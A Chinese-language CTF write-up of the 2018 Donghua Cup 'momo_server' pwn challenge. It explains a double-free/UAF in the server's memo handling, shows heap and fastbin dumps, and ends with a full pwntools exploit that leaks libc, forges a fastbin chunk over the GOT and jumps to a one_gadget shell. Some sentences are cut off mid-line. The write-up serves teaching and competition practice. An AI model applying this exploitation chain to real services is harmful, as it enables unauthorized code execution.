2018东华杯momo_server详解

V1NKe / 2018-11-15 06:53:00 / 浏览数 2496 安全技术 CTF 顶(0) 踩(1)

前言：

赛后花时间复现了一下很少人做出来的momo_server，大佬们还是强呀。

正文：

这道题在分析程序执行流程上面就有一定的难度，要对http协议有一定的了解程度才能很快的分析完执行流程。先来看看整个程序的执行流程：

前半段：

```
v7 = 1;
 memset(&v6, 0, 0x10000uLL);
 v9 = read(0, s, v8 - 1);
 if ( v9 >= 0 )
 {
   *((_BYTE *)s + v9) = 0;
   __isoc99_sscanf(s, "%s %s %s \n", &s1, &v15, &v14);
   if ( !strstr((const char *)s, "Connection: keep-alive") )
     v7 = 0;
   v12 = sub_40176B((const char *)s);
```

__isoc99_sscanf类似于正则表达式，具体的可以自行去看函数定义，在这里的作用是用空格做分隔符，将输入的字符串切割后分别赋值给s1、v15、v14。strstr是查
keep-alive字符串，则v7变为0，程序最后会直接退出。所以为了让程序一直运行不退出，输入必须带有Connection: keep-alive字符串。

再来看看程序功能：

```
if ( !strcmp(&s1, "GET") )
   {
     if ( !strcmp(&v15, "/") )
     {
       sub_400E67();
     }
     else if ( !strcmp(&v15, "/list") )
     {
       sub_400E82();
     }
     else
     {
       sub_400E4C();
     }
   }
```

如果s1,v15分别为GET,/则执行sub_400E67()。该函数具体没什么用，往下是sub_400E82()函数，这个函数先放着，看名字list可以大致猜测到是"显示堆"功能的函数

GET /list Connection: keep-alive

往下看：

```
else if ( !strcmp(&s1, "POST") )
   {
     if ( !strcmp(&v15, "/add") )
     {
       sub_4011EE(v12);
     }
     else if ( !strcmp(&v15, "/count") )
     {
       sub_4016A8();
     }
     else if ( !strcmp(&v15, "/echo") )
     {
       sub_4010CB(v12, (__int64)"/echo", v3, v4, v5);
     }
     else
     {
```

```
      sub_400E4C();
    }
  }
```

原理如上，这里需要提上一嘴的是第一个函数中传入了v12参数，往上看可以发现v12由sub_40176B()得来：

```
char *__fastcall sub_40176B(const char *a1)
{
 char *v2; // [rsp+18h] [rbp-8h]

 if ( strstr(a1, "\r\n\r\n") )
   return strstr(a1, "\r\n\r\n") + 4;
 if ( strstr(a1, "\n\n") )
   return strstr(a1, "\n\n") + 2;
 if ( strstr(a1, "\r\r") )
   v2 = strstr(a1, "\r\r") + 2;
 return v2;
}
```

查询子字符，如果有以上三种中的一种则返回其中一种字符串的后面内容，比如我输入了v1nke1\r\n\r\nv1nke2，则返回v1nke2字符。

进入/add函数中分析：

```
if ( (unsigned int)__isoc99_sscanf(v1, "%10[^=]=%80s", &s, &s2, v2)
  && (v3 = strtok(0LL, "&"), (unsigned int)__isoc99_sscanf(v3, "%10[^=]=%10s", &s1, &nptr, v4)) )
 {
  if ( !strcmp(&s, "memo") && s2 && (v5 = "count", !strcmp(&s1, "count")) && nptr && atoi(&nptr) >= 0 )
```

这段对传入参数v12做处理，先用&做分隔符分成两段字符串，前一段中取=前面部分赋值给s,=后面赋值给s2。后一段取=前给s1,=后给nptr。

后面的if语句是要求s为memo，s1为count。且nptr为数字且大于0。

往后：

```
for ( i = 0; i <= 15 && *(&ptr + i); ++i )
    {
      if ( *(_QWORD *)*(&ptr + i) )
      {
        v5 = &s2;
        if ( !strcmp(*(const char **)*(&ptr + i), &s2) )
        {
          v6 = (__int64)*(&ptr + i);
          *(_DWORD *)(v6 + 8) = atoi(&nptr);
          *((_WORD *)*(&ptr + i) + 6) = 0;
          sprintf(&v19, "{\"status\":\"%s\"}", "ok");
          pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19);
          return __readfsqword(0x28u) ^ v20;
        }
      }
    }
```

这段函数引起double free漏洞。后面可以充分体会到。

```
v7 = (char **)malloc(0x10uLL);
    v8 = strlen(&s2);
    v9 = (char *)malloc(v8);
    *v7 = v9;
    sub_400D84(&s2, (__int64)v5, (__int64)v9, v10, v11);
    v12 = strlen(&s2);
    strncpy(*v7, &s2, v12 + 1);
    *((_DWORD *)v7 + 2) = atoi(&nptr);
    *((_WORD *)v7 + 6) = 0;
    *(&ptr + i) = v7;
    sprintf(&v19, "{\"status\":\"%s\"}", "ok");
    pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19);
```

这里可以看到该函数先分配0x20的堆结构体，然后根据memo=后边的内容大小分配合适的堆。再将count=后面的数字赋值到堆结构体中去，并在六字节处置0。最后&ptr位

往下看第二个函数：

```
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) )
 {
   sub_401041((__int64)"failed");
 }
```

开了一个多线程函数，进入到start_routine函数中去：

```
do
 {
   v2 = 0;
   for ( i = 0; i <= 15; ++i )
   {
     if ( *(&ptr + i) )
     {
       if ( *((_DWORD *)*(&ptr + i) + 2) <= 0 )
       {
         if ( !*((_DWORD *)*(&ptr + i) + 2) && *((_WORD *)*(&ptr + i) + 6) )
         {
           *((_WORD *)*(&ptr + i) + 6) = 0;
           free(*(void **)*(&ptr + i));
         }
       }
       else
       {
         --*((_DWORD *)*(&ptr + i) + 2);
         *((_WORD *)*(&ptr + i) + 6) = 1;
         ++v2;
       }
     }
   }
   result = sleep(1u);
 }
 while ( v2 );
```

遍历15个堆结构，根据所赋值的count=后的数字是否小于等于0，否则减一，再将第六位赋值为1，是则第六位置零，并free堆，这里存在UAF漏洞，没有清空指针。

后面的echo函数没有用，但是官方给出的writeup说是echo函数中没有00截断字符串，会泄漏地址。但是我实际调试当中发现是有00截断的，没办法泄漏地址，只是一个你

利用构造：

这里就用double free来利用，先添加四个0x20的堆和五个0x40的堆，除最后一个0x40的堆外别的堆count置为1。而后free掉八组堆，成为fastbin。

```
0x12b5000:  0x0000000000000000  0x0000000000000021 < -- 1
0x12b5010:  0x00000000012b5030  0x0000000000000000
0x12b5020:  0x0000000000000000  0x0000000000000021
0x12b5030:  0x0000000000000000  0x0000000000000000
0x12b5040:  0x0000000000000000  0x0000000000000021 < -- 2
0x12b5050:  0x00000000012b5070  0x0000000000000000
0x12b5060:  0x0000000000000000  0x0000000000000021
0x12b5070:  0x00000000012b5020  0x0000000000000000
0x12b5080:  0x0000000000000000  0x0000000000000021 < -- 3
0x12b5090:  0x00000000012b50b0  0x0000000000000000
0x12b50a0:  0x0000000000000000  0x0000000000000021
0x12b50b0:  0x00000000012b5060  0x0000000000000000
0x12b50c0:  0x0000000000000000  0x0000000000000021 < -- 4
0x12b50d0:  0x00000000012b50f0  0x0000000000000000
0x12b50e0:  0x0000000000000000  0x0000000000000021
0x12b50f0:  0x00000000012b50a0  0x0000000000000000
```

然后/list一下，泄漏出堆基地址。

这里再add一个新堆，但是堆内容跟之前所分配堆中的某个堆内容一样。这样的话就会执行add函数中的导致double
free的地方，此时并不malloc新堆，而是将内容重复堆的结构体堆count处内容置为我们刚刚add的count内容，导致这个堆本已经free过了但是还能再次free。这里我

```
0xd9b000:   0x0000000000000000  0x0000000000000021
0xd9b010:   0x0000000000d9b030  0x0000000000000000
0xd9b020:   0x0000000000000000  0x0000000000000021
0xd9b030:   0x0000000000000000  0x0000000000000000
0xd9b040:   0x0000000000000000  0x0000000000000021
0xd9b050:   0x0000000000d9b070  0x0000000000000000
```

```
0xd9b060:   0x0000000000000000  0x0000000000000021
0xd9b070:   0x0000000000d9b020  0x0000000000000000
0xd9b080:   0x0000000000000000  0x0000000000000021
0xd9b090:   0x0000000000d9b0b0  0x0000000000000001 < -- ■■1
0xd9b0a0:   0x0000000000000000  0x0000000000000021
0xd9b0b0:   0x0000000000d9b060  0x0000000000000000
0xd9b0c0:   0x0000000000000000  0x0000000000000021
0xd9b0d0:   0x0000000000d9b0f0  0x0000000000000000
0xd9b0e0:   0x0000000000000000  0x0000000000000021
0xd9b0f0:   0x0000000000d9b0a0  0x0000000000000000
```

free掉后再看看fastbin中的情况（堆变化是因为不是同一次复制数据，看偏移即可）：

```
fastbins
0x20: 0x15f00a0 —■ 0x15f00e0 ■— 0x15f00a0
0x30: 0x0
0x40: 0x15f0240 —■ 0x15f01e0 —■ 0x15f0180 —■ 0x15f0120 ■— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
```

这时候就可以充分利用double free的情况了，再add一个堆，并构造出一个fake heap。

```
add('aaaaaaaa\x21',1)
```

看堆情况：

```
0x1299080:  0x0000000000000000  0x0000000000000021
0x1299090:  0x00000000012990b0  0x0000000000000000
0x12990a0:  0x0000000000000000  0x0000000000000021
0x12990b0:  0x00000000012990f0  0x0000000000000001
0x12990c0:  0x0000000000000000  0x0000000000000021
0x12990d0:  0x00000000012990f0  0x0000000000000000
0x12990e0:  0x0000000000000000  0x0000000000000021
0x12990f0:  0x6161616161616161  0x0000000000000021
fastbins
0x20: 0x12990a0 —■ 0x12990f0
```

这时候第二个fastbin为0x12990f0，所以memo=的内容就会被分配在0x1299100处，而0x1299100处恰好是一个之前所分配的堆，所以可以用这点来泄漏libc地址了。继续

```
add('b'8+'\x21'8+p64(elf.got['atoi']).replace('\x00',''),12345)
```

堆情况：

```
0x1bcf0c0:  0x0000000000000000  0x0000000000000021 < -- 4
0x1bcf0d0:  0x0000000001bcf0f0  0x0000000000000000
0x1bcf0e0:  0x0000000000000000  0x0000000000000021
0x1bcf0f0:  0x6161616161616161  0x0000000000000021
0x1bcf100:  0x6262626262626262  0x2121212121212121 < -- 5
0x1bcf110:  0x00000000006030a0  0x0000000000000000
0x1bcf120:  0x0000000000000000  0x0000000000000041
0x1bcf130:  0x0000000000000000  0x4545454545454545
```

而后的利用方式就是常规操作修改got表了，利用方法也同上double
free。不过第四次malloc到程序got表的地址处。这里我本想fastbin到__malloc_hook的地址处，但是这里需要堆大小为0x70，add中最大内容大小是0x50:

```
memset(&s2, 0, 0x50uLL);
```

所以这里行不通，只能在got表地址处找一处错位地址：

```
pwndbg> x/20xg 0x60306a
0x60306a:   0x0ac600007f08c728  0x1130000000000040
0x60307a:   0x8ad000007f08c727  0xce7000007f08c725
0x60308a:   0x0b0600007f08c725  0xb660000000000040
0x60309a:   0x3e8000007f08c727  0x294000007f08c722
```

刚好有一处0x40大小的可构造堆，且__isoc99_sscanf处于0x603080地址处可覆写。

大家复现后会发现这里有一处想不到的地方（反正我是想不到），就是要构造0x30大小的memo内容的时候，该如何既让堆fd指针处是我们所要构造的0x60306a，又要让0x

这里看了别人的wp后发现他们是这样构造的：

```
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
```

实际调试发现：

```
0x1f151e0:  0x0000000000000000  0x0000000000000041
0x1f151f0:  0x000000000060306a  0x4747474747474747
0x1f15200:  0x4747474747474747  0x4747474747474747
0x1f15210:  0x4747474747474747  0x4747474747474747
```

确实能写入，并且后面的内容不变为'A'。我查了一下这个quote函数不过是个url编码函数，为什么还能有这种效果。。如果有人清楚原理请告诉我一下。。

还有这里需要注意的一个点是在free堆的时候因为程序是开了多线程的，所以需要有一定的延时，不然会导致没有运行完整个count函数代码就进入下一个环节，会导致没

EXP:

```
from pwn import *
import urllib

p = process('./pwn')
libc = ELF('libc-so.6')
elf = ELF('pwn')
context.log_level = 'debug'

def add(content,index):
   s = 'POST '+'/add '+'Connection: keep-alive'
   s += '\n\n'+'memo='+content+'&count='+str(index)
   p.sendline(s)

def count():
   s = 'POST '+'/count '+'Connection: keep-alive'
   p.sendline(s)

def listlist():
   s = 'GET '+'/list '+'Connection: keep-alive'
   p.sendline(s)

add('A'*8,1)
add('B'*8,1)
add('C'*8,1)
add('D'*8,1)
add('E'*0x30,1)
add('F'*0x30,1)
add('G'*0x30,1)
add('H'*0x30,1)
add('F'*24,123456)
sleep(1)
count()
sleep(2)
listlist()

p.recvuntil('0</td>')
p.recvuntil('<td>')
data = p.recvuntil('<')
data = data[:-1]
data = u64(data.ljust(8,'\x00'))
heap_base = data - 0x20
log.success('heap addr is:'+hex(heap_base))

sleep(1)
add(p64(heap_base+0x60).replace('\x00',''),1)
count()
sleep(2)
add('aaaaaaaa\x21',1)
add('b'*8+'\x21'*8+p64(elf.got['atoi']).replace('\x00',''),12345)
listlist()

p.recvuntil('aaaaaaaa!</td><td>0</td></tr><tr><td>')
data2 = u64(p.recv(6).ljust(8,'\x00'))
atoi_addr = data2
libc_base = atoi_addr - libc.symbols['atoi']
```

```
one_gadget = libc_base + 0x45216
log.success('atoi addr is:'+hex(atoi_addr))
log.success('onegadget addr is:'+hex(one_gadget))

add(p64(heap_base+0x180).replace('\x00',''),1)
count()
sleep(2)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
add('A'*6+urllib.quote(flat(p64(one_gadget)).ljust(0x30-14, 'A')),1234)

sleep(0.1)
p.sendline('V1NKe is a stupid boy!')

p.interactive()
```

最后：

本人的exp写的较为粗糙，在泄漏heap基地址的时候因为对正则了解较少，所以有时候会出现没有正确计算出heap基地址的情况，解决方法是多试几次即可，或者自行修改

上一篇：Red Hat JBoss EAP... 下一篇：大疆无人机漏洞分析

1. 0 条回复
   - 动动手指，沙发就是你的了！